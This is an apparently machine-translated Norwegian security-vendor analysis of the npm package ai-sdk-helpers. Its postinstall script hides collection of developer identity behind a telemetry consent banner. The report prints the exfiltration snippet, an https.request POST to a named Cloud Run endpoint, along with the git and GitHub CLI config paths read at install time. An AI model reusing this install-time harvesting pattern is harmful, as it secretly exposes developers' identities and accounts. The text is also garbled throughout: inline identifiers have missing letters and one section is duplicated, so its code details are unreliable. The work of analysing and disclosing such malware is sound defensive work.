ConsentMask NPM-pakken skjuler innhøsting av utvikleridentitet

ConsentMask: En npm-pakke som bærer et telemetri-samtykkebanner over utvikleridentitetshøsting

TL; DR

En enkelt npm-pakke, ai-sdk-hjelpere, presenterer seg som et produksjonsverktøysett for Vercel AI SDK, og tilbyr kostnadssporing, leverandørreserve og strømmehjelpemidler.

Installasjonsskriptet åpnes med et polert avsløringsbanner som beskriver anonym diagnostikk, og lover at ingen kildekode, tokener eller legitimasjonsinformasjon overføres, og respekterer en DO_NOT_TRACK avmelding og lenking til en side med telemetripolicy.

Det samme skriptet leser deretter utviklerens git-identitet, GitHub CLI-konfigurasjon, maskinens vertsnavn, OS-brukernavn, arbeidskatalog og CI-leverandør.

Disse dataene blir lagt ut som JSON til et Google Cloud Run-endepunkt, noe som skaper et klart avvik mellom den oppgitte telemetripolicyen og de faktiske feltene som samles inn.

Pakken ble publisert i tjueto versjoner i løpet av en enkelt 83-sekunders serie, og installasjonsskriptet er identisk byte-for-byte på tvers av alle flaggede versjoner.

Syv av åtte versjoner som er gjennomgått av vår pipeline ble vurdert som inkonkluderende av ML-klassifikatoren fordi samtykkebannerets stil leses som legitim telemetri.

Vi klassifiserer ai-sdk-helpers som skadelig basert på innsamling og eksfiltrering av utvikleridentiteter under installasjon.

Alvorlighetsgrad: høy.

 Installasjonens anatomi

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

etterinstallasjon kjører automatisk på npm installasjon, før noe av pakkens annonserte kode i det hele tatt importeres. Skriptet scripts/postinstall.js er der all installasjonstidsvirkemåten befinner seg.

Den åpnes med en kommentarblokk og en kjøretidsmelding skrevet i registeret til et personvernbevisst åpen kildekode-prosjekt:

>Når du installerer ai-sdk-helpers, kjører vi en rask sjekk av miljøkompatibilitet og rapporterer anonyme diagnostikk ... Dataene er helt anonyme – vi samler inn plattformen din, nodeversjonen og en enveis hash av maskinidentifikatoren din. Ingen kildekode, tokener eller legitimasjonsinformasjon overføres noen gang.

Den kobler til og med opp en fungerende opt-out-port, den første kjørbare koden i filen:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

Å legge denne porten først er det som gjør at resten oppfattes som konsensuell: en utvikler som setter `D_IKKE_SPOR` ser installasjonen fullføres stille og konkluderer med at pakken overholder konvensjonen. Den aksepterte avmeldingen er reell. Det den åpner, for alle som ikke angir den, er samlingen beskrevet nedenfor – ikke den smalere «plattform, nodeversjon og en enveis hash» som varselet navngir.

Under den porten setter skriptet sammen en nyttelast som går langt utover den beskrivelsen.

  • *Gt-identitet.* rløseScmIdentitet()` hoder `~.gitconfig`,`~.config/git/config`,og det nåværende prosjektets `.it/config`,analyserer `[ser]` seksjon, og returnerer den konfigurerte commit e-post. Hvis ingen konfigurasjonsfil gir en e-post, går den tilbake til `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,og `EAIL` miljøvariabler. En dokumentstreng over funksjonen rammer inn lesingen som en måte å «deduplisere installasjoner på tvers av maskiner eid av samme person (f.eks. bærbar PC + CI)» – et uttalt formål som krever en stabil identifikator per utvikler, som en commit e-postforsyninger.
  • *GtHub-konto.* rløseGitHubIdentity()` hoder `~.config/gh/hosts.yml` og `~.config/gh/hosts.yaml` konfigurasjonsfilen som skrives av GitHub CLI når en utvikler autentiserer – og regex-uttrekker `u`eh:` og `eille:` felter. Den filen lagrer også GitHub OAuth-tokenet; skriptets regex er spesifikt rettet mot brukernavn- og e-postlinjene og trekker ikke ut tokenet. Påstanden om at «ingen tokener ... blir noen gang overført» i avsløringsbanneret er derfor bokstavelig talt sant for det ene feltet mens de omkringliggende kontoidentifikatorene leses og sendes.
  • *Hst og CI fingeravtrykk.* Han samler deretter inn `o.vertsnavn()`,`o.brukerInfo().brukernavn`,Node-versjonen, plattformen og arkitekturen, `pocess.cwd()`,og en CI-leverandøretikett løst ved å sjekke miljøvariabler for åtte leverandører (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite og to generiske CI-flagg). Leverandørlisten leses som en oversikt over hvor skriptet forventes å kjøre – interaktive skall og automatisert bygging. pipelineer like.

Alle disse er gruppert i én `d`agnostikere objekt, med feltene per utvikler samlet under en `i`enhet ey og vertsdataene under `rntime` og `cntekst eys, deretter serialisert og overført:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Svaret forkastes og alle feil svelges – en kommentar bemerker at «telemetri aldri må ødelegge installasjonen». Endepunktets vertsnavn koder en Google Cloud Run-tjeneste i `etau-vest1` region.

Gapet er historien. Banneret navngir tre datakategorier – plattform, nodeversjon, maskinidentifikator-hash. Nyttelasten sender en utviklers virkelige git. commit e-post, deres GitHub-brukernavn og e-post, deres maskinvertsnavn og OS-kontonavn, deres prosjektsti og deres CI-miljø. Feltene som identifiserer en *prson og kontoene deres* er nøyaktig de feltene som opplysningen utelater.

README-filen forsterker innrammingen fra den andre siden. «Telemetri»-delen gjentar anonymitetskravet og lenker ordet `D_IKKE_SPOR` o`cnsoledonottrack.com`,den virkelige fellesskapssiden som dokumenterer konvensjonen om å reservere seg – låner et anerkjent personvern standard for å få varselet til å leses som rutinemessig.

Tidslinje

Dette er et funn i én pakke med en veldig kort og tett publiseringshistorikk. Det er ingen flerukers kampanjebue å spore – hele versjonsutvalget ble presset i maskinhastighet.

Når (UTC) Event
2026-06-03 20:31:20 Første versjon (0.1.0) publisert til npm.
2026-06-03 20:31:20 – 20:32:43 Alle 22 versjoner (0.1.0 gjennom 1.4.2) publisert i en 83-sekunders automatisert serie.
2026-06-04 Åtte versjoner flagget av deteksjonssignaler; manuell analyse bekrefter innsamling og eksfiltrering av identitet under installasjon. Pakken forble aktiv på npm på analysetidspunktet.

Det 83 sekunder lange vinduet på tvers av 22 semantiske versjoner er i seg selv en atferdsindikator: versjonsstigen (`01.0 tommer`01.1 tommer… `14.2 tommer)presenterer overflaten av et aktivt vedlikeholdt prosjekt med en utgivelseshistorikk, produsert i én skriptkjøring. Installasjonsskriptet endres ikke på tvers av den stigen – se nedenfor.

Indikatorer for kompromiss

Nyttelasten ved installasjon er identisk på tvers av det publiserte versjonsområdet.ff` f`sripts/postinstall.js` mellom versjon `02.1` nde versjon `14.2` returnerer ingen forskjeller; oppførselen er ett fast fingeravtrykk, ikke en utviklende nyttelast.

Network

Det 83 sekunder lange vinduet på tvers av 22 semantiske versjoner er i seg selv en atferdsindikator: versjonsstigen (`01.0 tommer`01.1 tommer… `14.2 tommer)presenterer overflaten av et aktivt vedlikeholdt prosjekt med en utgivelseshistorikk, produsert i én skriptkjøring. Installasjonsskriptet endres ikke på tvers av den stigen – se nedenfor.

Indikatorer for kompromiss

Nyttelasten ved installasjon er identisk på tvers av det publiserte versjonsområdet.ff` f`sripts/postinstall.js` mellom versjon `02.1` nde versjon `14.2` returnerer ingen forskjeller; oppførselen er ett fast fingeravtrykk, ikke en utviklende nyttelast.

Network

Indikator Rolle
npm-package-logger-228835561205.europe-west1.run.app Eksfiltreringsendepunkt som mottar HTTPS POST-forespørsler med JSON-nyttelaster. Lagret på Google Cloud Run i europe-west1 region.

Infrastruktur for lokkeduer

Indikator Rolle
ai-sdk.guide Pakkens hjemmeside og aktive nettsted som støtter forfatteridentiteten «AI SDK Guide».
ai-sdk.guide/telemetry URL-adressen for telemetripolicyen som det refereres til i varselet om opplysninger ved installasjon.
hello@ai-sdk.guide Forfatterens e-postadresse er oppgitt i package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Kildelager deklarert av pakken.

Filer lest under installasjon

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` post
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI-grensesnitteh `esyk

Atferdssignaturer

  • – m`pstillinstaller ook kaller et samlet Node-skript
  • – avmeldingsport (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_IKKE_SPOR`)presentert som en personvernfunksjon, før identitetsinnsamling
  • – tbound HTTPS POST av et JSON-objekt som inneholder git-e-post, GitHub-identitet, vertsnavn, OS-brukernavn, cwd og CI-etikett
  • – identisk installasjonsskript på tvers av en raskt publisert versjonsstige

 Attribusjon og observert atferd
Vi tilskriver ingenting utover det pakken og registermetadataene registrerer.

Den npm-ansvarlige for registrering er kontoen `aielsimon`,med adressen `aiel@vigilance.security`.Registeret viser den e-postadressen som ubekreftet og kontoens kildekontrollidentitet som ubekreftet. `pckage.json`,separat, presenterer forfatteren som «AI SDK Guide»ello@ai-sdk.guide>`”med en hjemmeside for `a-sdk.guide` og et kildelager under en `gthub.com/ai-sdk-guide`-organisasjon. Publiseringskontoens e-postdomene (`vigilance.security`)og forfatteridentiteten i pakken (`a-sdk.guide`)er forskjellige domener.

Den `a-sdk.guide` ite er aktiv og svarer, og `/elementmetri ath løser seg – lokkefuglidentiteten støttes av en tilgjengelig netttilstedeværelse i stedet for en død lenke, noe som øker troverdigheten til pakkens innramming.

**Observert kapasitet.** Ved installasjon leser pakken utvikleridentitet og kontokonfigurasjonsfiler, tar fingeravtrykk av verts- og CI-miljøet og overfører resultatet til et operatørkontrollert endepunkt, samtidig som den viser en melding som beskriver et smalere og anonymisert datasett. Vi beskriver denne oppførselen; vi hevder ikke et motiv for den. Lesere som evaluerer pakken – inkludert enhver part som gjenkjenner publiseringsidentiteten – bør vurdere det observerbare avviket mellom de oppgitte og faktiske datastrømmene.

Innvirkning, trender og veiledning for forsvarere

Hvem som er eksponert. Alle som installerer ai-sdk-hjelpere — direkte eller som en transitiv avhengighet — kjører samlingen på den maskinen. Fordi utløseren er etterinstallasjon, den annonserte bibliotekkoden trenger aldri å importeres for at dataflyten skal skje; installasjonen alene er tilstrekkelig. Miljøene med høyest verdi er utviklerarbeidsstasjoner med en konfigurert git-identitet og et autentisert GitHub CLI, og CI-kjørere, der skriptets CI-leverandørdeteksjon indikerer at samlingen forventes å kjøre i build. pipelineså vel som på bærbare datamaskiner.

Hva den avslører. Ikke applikasjonshemmeligheter i det generelle tilfellet – nyttelasten sentrerer seg rundt identitetutviklerens commit e-post, GitHub-kontonavnet og e-postadressen deres, maskin- og kontonavnene og prosjektstien. Det er en forhåndsvisningciset kart over hvem som installerte pakken, på hvilken maskin, i hvilket repository og under hvilket CI-system. For en organisasjon ville en håndfull slike poster samlet liste opp hvilke ingeniører og hvilke byggesystemer som trakk avhengigheten – nyttig som en forløper til mer målrettet oppfølgingsaktivitet, selv om denne pakkens egen oppførsel stopper ved innsamling og overføring.

Trenden: telemetri som dekke. Legitime utviklerverktøy samler inn anonymisert installasjonsdiagnostikk, og konvensjonene for å gjøre det på en respektfull måte – en opplysningsmelding, en IKKE_SPOR ære, et flagg for bortvalg, en URL for retningslinjer – er velkjente. ai-sdk-hjelpere gjengir alle fire disse konvensjonene trofast og bruker dem som innpakningsmateriale for identitetsinnsamling. Tilstedeværelsen av et samtykkebanner, en fungerende avmelding eller en lenke til personvernreglene er ikke bevis på at en pakke er pålitelig; disse kontrollene er rimelige å imitere. Den eneste pålitelige sjekken er hva koden faktisk leser og hvor den faktisk sender den.

Denne pakkingen har også en målbar effekt på automatisert triage. På tvers av versjonene våre pipeline gjennomgått, installasjonsskriptets kommentarer i enkeltspråk, strukturerte feltnavn og konvensjonelle avmeldingsportal ble scoret som vanlig telemetri: syv av åtte kom tilbake mangelfulle fra ML-klassifikatoren i stedet for ondsinnet. Signalet som løser tvetydigheten ligger ikke i teksten – det ligger i de spesifikke filene skriptet åpner (~ / .gitconfig, ~/.config/gh/hosts.yml) og destinasjonen den sender til. En anmelder, automatisert eller menneskelig, som leser opplysningen og stopper der, vil komme til feil konklusjon; avgjørelsen må komme fra fakta i dataflyten.

Veiledning for forsvarere:

  • Installer med skript deaktivert som standard – npm install –ignore-scripts, eller sett ignorer-skript=true in .npmrc og kjøre kontrollerte byggetrinn eksplisitt. Dette nøytraliserer etterinstallasjon-utløst innkreving på tvers av hele linja.
  • Ikke behandle kontroller for bortvalg som tillitssignaler. IKKE_SPOR En sjekk eller en «telemetripolicy»-lenke forteller deg ingenting om dataene et skript samler inn når porten ikke er angitt.
  • Les installasjonskroken før du tar i bruk hjelpepakker for AI-økosystemer. Vercel AI SDK-området er et raskt utviklende mål med høy tillit; etterinstallasjon som berører ~ / .gitconfig or ~/.config/gh/ er et klart signal uavhengig av hvordan kommentarene rundt er skrevet.
  • Overvåk utgående oppdatering under byggetid. En utgående HTTPS POST under npm installasjon, spesielt til et nylig klargjort skyfunksjonsendepunkt, er observerbar på nettverkslaget og er et sterkt deteksjonspunkt for CI-miljøer.
  • Se etter komprimerte versjonsladder. En pakke hvis hele semantiske versjonshistorikk vises i løpet av sekunder, med et uendret installasjonsskript, presenterer en konstruert vedlikeholdshistorikk.
sca-tools-programvare-verktøy for komposisjonsanalyse
Prioriter, utbedre og sikre programvarerisikoene dine
Få din gratis konto.
Ingen kredittkort kreves.

Sikre programvareutviklingen og -leveringen din

med Xygeni-produktpakken